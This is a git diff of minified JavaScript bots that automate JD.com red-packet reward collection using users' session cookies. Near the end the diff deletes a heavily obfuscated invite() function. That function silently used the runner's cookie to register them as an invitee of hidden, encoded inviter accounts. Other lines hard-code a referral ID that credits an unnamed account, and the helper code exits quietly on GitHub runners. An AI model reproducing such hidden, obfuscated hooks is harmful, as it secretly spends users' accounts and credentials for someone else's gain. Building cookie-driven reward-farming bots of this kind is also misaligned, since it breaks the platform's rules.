s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_speed_redpocke.js b/jd_speed_redpocke.js index 71196e0..7911c6d 100755 --- a/jd_speed_redpocke.js +++ b/jd_speed_redpocke.js @@ -29,7 +29,7 @@ const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; let cookiesArr = [], cookie = '', message; -const linkId = "AkOULcXbUA_8EAPbYLLMgg"; +const linkId = "9wdf1YTT2L59Vr-meKskLA"; const signLinkId = '9WA12jYGulArzWS7vcrwhw'; if ($.isNode()) { @@ -79,16 +79,16 @@ if ($.isNode()) { async function jsRedPacket() { try { - await invite(); + // await invite(); await sign();//极速版签到提现 await reward_query(); - for (let i = 0; i < 3; ++i) { + for (let i = 0; i < 5; ++i) { await redPacket();//开红包 - await $.wait(500) + await $.wait(1000) } await getPacketList();//领红包提现 await signPrizeDetailList(); - await showMsg() + // await showMsg() } catch (e) { $.logErr(e) } @@ -151,7 +151,7 @@ async function sign() { function reward_query() { return new Promise(resolve => { $.get(taskGetUrl("spring_reward_query", { - "inviter": ["hJyuwiDvDEc5-jIeec4Iyg", "r3yIDGE86HSsdtyFlrPHJHu_0mNpX_AnBREYO-c3BFY"][Math.floor((Math.random() * 2))], + "inviter": "7057MkYN_M4C3K_QNqU2YQ", linkId }), async (err, resp, data) => { try { @@ -178,7 +178,7 @@ function reward_query() { } async function redPacket() { return new Promise(resolve => { - $.get(taskGetUrl("spring_reward_receive",{"inviter":["hJyuwiDvDEc5-jIeec4Iyg","r3yIDGE86HSsdtyFlrPHJHu_0mNpX_AnBREYO-c3BFY"][Math.floor((Math.random()*2))],linkId}), + $.get(taskGetUrl("spring_reward_receive",{"inviter": "7057MkYN_M4C3K_QNqU2YQ",linkId}), async (err, resp, data) => { try { if (err) { @@ -395,8 +395,6 @@ function cashOut(id,poolBaseId,prizeGroupId,prizeBaseId,) { } -var _0xod6='jsjiami.com.v6',_0x4f1a=[_0xod6,'HMOaWlMH','w5DCn8Oyw79Jw7MQwrc8f8ObSDVnwrFKd8OiNMOnwrfDosO1wpU4GcKdwooVw7IzAMKSa8OabcK4wqVkw7xydnQjSzN+wr41f8OfEsKXwoFrwq3CncORQT7DthtjwrRZw7zDu8KtXXQaw7ZbSsKFW8Oww7bCpMKaWwdYJzspwqhmdsO+w7XClcOsw57Ci2PCnDdow7rCtWjCtlTCiWLCpMO2HsOlwo/Dk8KPXlbCgREww5bDmcKGBsKlw6jDoXVKLsKxwqXDjsOBwrsswq8aw6YTc2B2wqIGwrEjYRHCpsKfNlpXw4TDhMKzwowrw4vCmWvCmMK7wq1GwoUGIcKEHUVnw6JCwqjDqMKKdcOMXR/Cj8K/a0TDocOgwprCnQnDp8KBbGTCildPDENGayPDucORw5APwphTT1vDti02wqZxwqxrDFDCo0PDrj/CjsK3w7nCmT/DmcKBwq7DhFBQY8OHw53DsEzDqE/DssKhwqbCsFIHwqLDj8OqfhpUw4nCqUXCtcKVwpMSwoXCk202a2nDmMO3','w6jDk3JA','RBx7U8KWbcKmb8Orw5DCoMKOw7hew77CvcKLemDDhcOfY8K7wr5yHsOPZwVrFMKXaGfCjcK8wpgIwoTCvMOfwpPDi8OZwrrCgGTCj8ObAw==','w7Fpw7TDsGYIwrVDXBLCnsK/TsOHPcO5w7HDpE7CpcK+PsKhw7jDvMKFworCgXfCuMOQwojCo8KCwoLCvAEPFVo6EgxJGhM=','w6wBw4FewrsVwqfDqcOJP8Kmw7l9MUIowqXCrWTDt1hxwo8vdXJ7Z8KzwonDsSA1worDqi5CT8OXw6jCuRbCn0k=','w6Euw4x/wrAjw5LDiMO+WMKyw7MEZkA6w4/Cg2bDqVlgw7d1','wpHCtcOcbsK0BcO1QUHCpcKqw6jCsnfDt0PDkMODw4k+Z03DqcO3','Ak8AMsKGDcOhTsKoAg7DicOcwrdlO8O3aMONIivDtsOnw5jDmhvDhcOTw5rCp8Omw7DCqSrDjlZdw6IyDMK1R8K6Cg==','wqLDisKgwqQSw4cUwqlydsKdCDV+w4p7IMOHFsK6w4bCr8Oqwoo=','wqzClsOqNcKbwrnDtMKbQMODwq5cw4HCmgLDpMKEwrAqCMKsdFhi','JGjDlT8Rew48w47CgGbDkMOJwrBFZXIjw7vDh8KjwoTCjMOb','wqDCncOSMcKRXMO9fSbCq8Knw4I=','AMKdNcKTwolYF08nw44sw6DDiydVY8Krw5zClAjDul0Tw4vDsC8EZg==','w5QrO3ly','AX8mNw==','wrHDicK7w4RV','w7DCn8OnZcKv','LsKOTsKrw4w=','MsKpZ0/DqQ==','IsKUAyRs','w7Mgw4Ffw6w=','ElzCl3vDgQ==','OkrCsHHDrQ==','eMKBw4QRw5U=','woMewqBXwoI=','LRhpVlLDicO3e8OZRMKBw4rCg8KrwqLDtMK3a01KwoZPw5LCmBVSwozDs8Klwo4GdcKeS2zCnFFdbkbDjMK0woFb','w48Jw6h/w5Y=','wqUkOMKfwr0=','esOMw5fCocKgwoo=','EMK3EHHDkQ==','w7QJw7ZHwrgvwofDt8OWZcKpwrdPJAQawoHDqDDDqx9Mw6c9N3gmeMKnwpLDpzAy','SB7CgnNu','BcKveXHDrA==','YcOew7fCqsKrwoI=','wrrCssK/','OSAXcMK1GMKcfsOhw6DCo8O4w7s=','wp9BAz1a','M18ZwpHCsA/Du8KvXcOb','fHEIw47Cr8KdHw==','FU7CrXQ=','BsKhWMKAw6HDmD8=','wobChcK/w5LDsg==','wrDCncOhWsKM','OjXsjyiyamHeBi.cpom.kv6LpDS=='];(function(_0x5219f0,_0xb82621,_0x13c086){var _0x4eaaf0=function(_0x538aa0,_0x12707e,_0x2c7ef7,_0x7dd858,_0x24590f){_0x12707e=_0x12707e>>0x8,_0x24590f='po';var _0x2aa13f='shift',_0x259370='push';if(_0x12707e<_0x538aa0){while(--_0x538aa0){_0x7dd858=_0x5219f0[_0x2aa13f]();if(_0x12707e===_0x538aa0){_0x12707e=_0x7dd858;_0x2c7ef7=_0x5219f0[_0x24590f+'p']();}else if(_0x12707e&&_0x2c7ef7['replace'](/[OXyyHeBpkLpDS=]/g,'')===_0x12707e){_0x5219f0[_0x259370](_0x7dd858);}}_0x5219f0[_0x259370](_0x5219f0[_0x2aa13f]());}return 0x8a767;};return _0x4eaaf0(++_0xb82621,_0x13c086)>>_0xb82621^_0x13c086;}(_0x4f1a,0x137,0x13700));var _0x4190=function(_0xaaecd5,_0x593020){_0xaaecd5=~~'0x'['concat'](_0xaaecd5);var _0x2e7b9f=_0x4f1a[_0xaaecd5];if(_0x4190['sDfRUY']===undefined){(function(){var _0xbff5a5=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x362fe4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xbff5a5['atob']||(_0xbff5a5['atob']=function(_0x5daa56){var _0x597031=String(_0x5daa56)['replace'](/=+$/,'');for(var _0x32e623=0x0,_0x3a311d,_0x45b5c4,_0xd282f2=0x0,_0x4e69f9='';_0x45b5c4=_0x597031['charAt'](_0xd282f2++);~_0x45b5c4&&(_0x3a311d=_0x32e623%0x4?_0x3a311d*0x40+_0x45b5c4:_0x45b5c4,_0x32e623++%0x4)?_0x4e69f9+=String['fromCharCode'](0xff&_0x3a311d>>(-0x2*_0x32e623&0x6)):0x0){_0x45b5c4=_0x362fe4['indexOf'](_0x45b5c4);}return _0x4e69f9;});}());var _0x2427ed=function(_0x1bbc2f,_0x593020){var _0x4ec58a=[],_0x38b3c9=0x0,_0x4c5e52,_0x525bdc='',_0x547526='';_0x1bbc2f=atob(_0x1bbc2f);for(var _0x1c2cb0=0x0,_0x1fab52=_0x1bbc2f['length'];_0x1c2cb0<_0x1fab52;_0x1c2cb0++){_0x547526+='%'+('00'+_0x1bbc2f['charCodeAt'](_0x1c2cb0)['toString'](0x10))['slice'](-0x2);}_0x1bbc2f=decodeURIComponent(_0x547526);for(var _0x3262a0=0x0;_0x3262a0<0x100;_0x3262a0++){_0x4ec58a[_0x3262a0]=_0x3262a0;}for(_0x3262a0=0x0;_0x3262a0<0x100;_0x3262a0++){_0x38b3c9=(_0x38b3c9+_0x4ec58a[_0x3262a0]+_0x593020['charCodeAt'](_0x3262a0%_0x593020['length']))%0x100;_0x4c5e52=_0x4ec58a[_0x3262a0];_0x4ec58a[_0x3262a0]=_0x4ec58a[_0x38b3c9];_0x4ec58a[_0x38b3c9]=_0x4c5e52;}_0x3262a0=0x0;_0x38b3c9=0x0;for(var _0x22187d=0x0;_0x22187d<_0x1bbc2f['length'];_0x22187d++){_0x3262a0=(_0x3262a0+0x1)%0x100;_0x38b3c9=(_0x38b3c9+_0x4ec58a[_0x3262a0])%0x100;_0x4c5e52=_0x4ec58a[_0x3262a0];_0x4ec58a[_0x3262a0]=_0x4ec58a[_0x38b3c9];_0x4ec58a[_0x38b3c9]=_0x4c5e52;_0x525bdc+=String['fromCharCode'](_0x1bbc2f['charCodeAt'](_0x22187d)^_0x4ec58a[(_0x4ec58a[_0x3262a0]+_0x4ec58a[_0x38b3c9])%0x100]);}return _0x525bdc;};_0x4190['LOUkSd']=_0x2427ed;_0x4190['cxlfXf']={};_0x4190['sDfRUY']=!![];}var _0x1f7209=_0x4190['cxlfXf'][_0xaaecd5];if(_0x1f7209===undefined){if(_0x4190['pdZcpZ']===undefined){_0x4190['pdZcpZ']=!![];}_0x2e7b9f=_0x4190['LOUkSd'](_0x2e7b9f,_0x593020);_0x4190['cxlfXf'][_0xaaecd5]=_0x2e7b9f;}else{_0x2e7b9f=_0x1f7209;}return _0x2e7b9f;};function invite(){var _0x4c359b={'BDyjj':'Lp3j8bN3zVW7XBBFzA%2Fh0IjHF0tn8HHhELd%2BqviJRJw%3D','CzkXt':_0x4190('0','O7Jj'),'olBdu':_0x4190('1','!WHt'),'OJbOL':_0x4190('2','Wirr'),'MSPXS':_0x4190('3','Wirr'),'vBVQg':_0x4190('4','60!F'),'nXJoY':'HdFQh5IbAZFVC1pGUIz44b2JohZPS5BW6QLKyz/wAhY=','MAoNJ':_0x4190('5','K^N3'),'eWHDf':_0x4190('6','Z@Wp'),'MNwBw':_0x4190('7','V)zB'),'GLxTr':_0x4190('8','!Ok3'),'RqcOc':'VbAuzdLrRQv8DT8VU4gR66uCcg4QHrWnW+DyOv8IedA=','ajCQw':function(_0x2cce24,_0x562d5d){return _0x2cce24*_0x562d5d;},'qkXko':_0x4190('9','60!F'),'DPrdZ':'application/json,\x20text/plain,\x20*/*','mUpSd':_0x4190('a','9*(C'),'zUNfV':_0x4190('b','mKeA'),'HIayc':function(_0x1a1b78,_0x43fb04){return _0x1a1b78(_0x43fb04);},'lvRJs':'./JS_USER_AGENTS','rHUPU':_0x4190('c','K^N3'),'qpZEp':'https://invite-reward.jd.com/','tRmYc':function(_0x368db7,_0x25c256){return _0x368db7(_0x25c256);}};let _0x2448b2=+new Date();let _0x157083=['Wy3rGd8o4Vckq1VucBFJjA==',_0x4c359b['BDyjj'],_0x4c359b[_0x4190('d','Z@Wp')],_0x4c359b[_0x4190('e','V)zB')],_0x4c359b[_0x4190('f','hOQs')],_0x4c359b[_0x4190('10','XN2O')],_0x4c359b[_0x4190('11','By6G')],_0x4c359b['vBVQg'],_0x4c359b[_0x4190('12','zztw')],_0x4c359b[_0x4190('13','%npS')],'2OldVZc5pETBD81XU85thQ==',_0x4c359b[_0x4190('14','%npS')],_0x4c359b[_0x4190('15','PirR')],_0x4c359b[_0x4190('16','1DK0')],_0x4190('17','Phvn'),'kqLZC8D0wWlL5W9olLLuufCc6GH4caIGABQEmpeiokM=',_0x4c359b[_0x4190('18','zztw')]][Math[_0x4190('19','H@!d')](_0x4c359b['ajCQw'](Math[_0x4190('1a','ZDlE')](),0x11))];var _0x57e37a={'Host':_0x4c359b[_0x4190('1b','mSa3')],'accept':_0x4c359b['DPrdZ'],'content-type':_0x4190('1c','Wirr'),'origin':_0x4c359b[_0x4190('1d','6vaq')],'accept-language':_0x4c359b[_0x4190('1e','XN2O')],'user-agent':$[_0x4190('1f','ZDlE')]()?process[_0x4190('20','&xMM')][_0x4190('21','O7Jj')]?process['env']['JS_USER_AGENT']:_0x4c359b['HIayc'](require,_0x4c359b[_0x4190('22','sT8r')])[_0x4190('23','$rvK')]:$[_0x4190('24','2XK]')](_0x4190('25','%npS'))?$[_0x4190('26','hOQs')](_0x4c359b[_0x4190('27','iF*K')]):'\x27jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0\x20(iPad;\x20CPU\x20OS\x2014_4\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','referer':_0x4c359b[_0x4190('28','60!F')],'Cookie':cookie};var _0x4f674b='functionId=InviteFriendApiService&body={\x22method\x22:\x22attendInviteActivity\x22,\x22data\x22:{\x22inviterPin\x22:\x22'+_0x4c359b[_0x4190('29','TM98')](encodeURIComponent,_0x157083)+_0x4190('2a','Z@Wp')+_0x2448b2;var _0x5ab1fc={'url':'https://api.m.jd.com/?t='+ +new Date(),'headers':_0x57e37a,'body':_0x4f674b};$[_0x4190('2b','XlEU')](_0x5ab1fc,(_0x727473,_0x590d22,_0x35ad09)=>{});};_0xod6='jsjiami.com.v6'; - function taskPostUrl(function_id, body) { return { url: `https://api.m.jd.com/`, @@ -500,4 +498,4 @@ function jsonParse(str) { } } // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 